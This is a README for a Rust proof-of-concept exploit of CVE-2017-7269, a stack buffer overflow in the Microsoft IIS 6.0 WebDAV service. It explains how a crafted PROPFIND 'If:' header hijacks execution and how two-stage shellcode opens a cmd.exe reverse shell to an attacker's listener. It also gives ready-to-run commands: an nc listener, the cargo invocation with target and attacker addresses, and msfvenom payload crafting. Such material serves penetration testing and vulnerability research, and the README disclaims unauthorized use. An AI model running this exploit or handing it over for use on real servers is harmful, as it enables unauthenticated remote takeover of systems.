nika0x38/cve-2017-7269A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0.
A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0.
CVE-2017-7269 is a critical stack-based buffer overflow vulnerability found in the WebDAV service of Microsoft IIS 6.0, which was shipped with Windows Server 2003 R2. A successful exploit allows an unauthenticated attacker to achieve remote code execution on the target server.
httpext.dll (IIS WebDAV Extension)ScStoragePathFromUrlPROPFIND HTTP request.If: header containing multiple URLs.The vulnerability is a classic stack buffer overflow. It is triggered when the ScStoragePathFromUrl function processes a PROPFIND request containing a malicious If: header.
This exploit crafts such a header with a long string of bytes, which overflows the buffer allocated on the stack. This overflow overwrites critical stack data, including the saved return address (EIP). The exploit hijacks the program's execution flow by pointing this return address to a small initial shellcode payload also located within the malicious header. This first-stage shellcode's job is to find and execute the main payload, a reverse shell, which is sent in the body of the same HTTP request. This POC successfully demonstrates remote code execution by connecting a cmd.exe shell back to an attacker-controlled listener.
Prepare a listener (adjust the port to match --lport):
nc -lvnp <attacker-port>
Run the exploit with embedded shellcode:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
The tool patches the WSA shellcode on the fly using LHOST/LPORT and delivers it in the HTTP body. When the target is vulnerable, your listener will receive a reverse shell from cmd.exe.
--payload)Craft a raw payload
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Deliver the payload (no need for --lhost/--lport because the shellcode already encodes that information):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Handle the callback in the same listener as before. Since the binary simply streams the provided bytes, the exact behaviour depends on the payload you generated.
This tool is for educational and authorized penetration testing purposes only. Use responsibly and only on systems you own or have explicit permission to.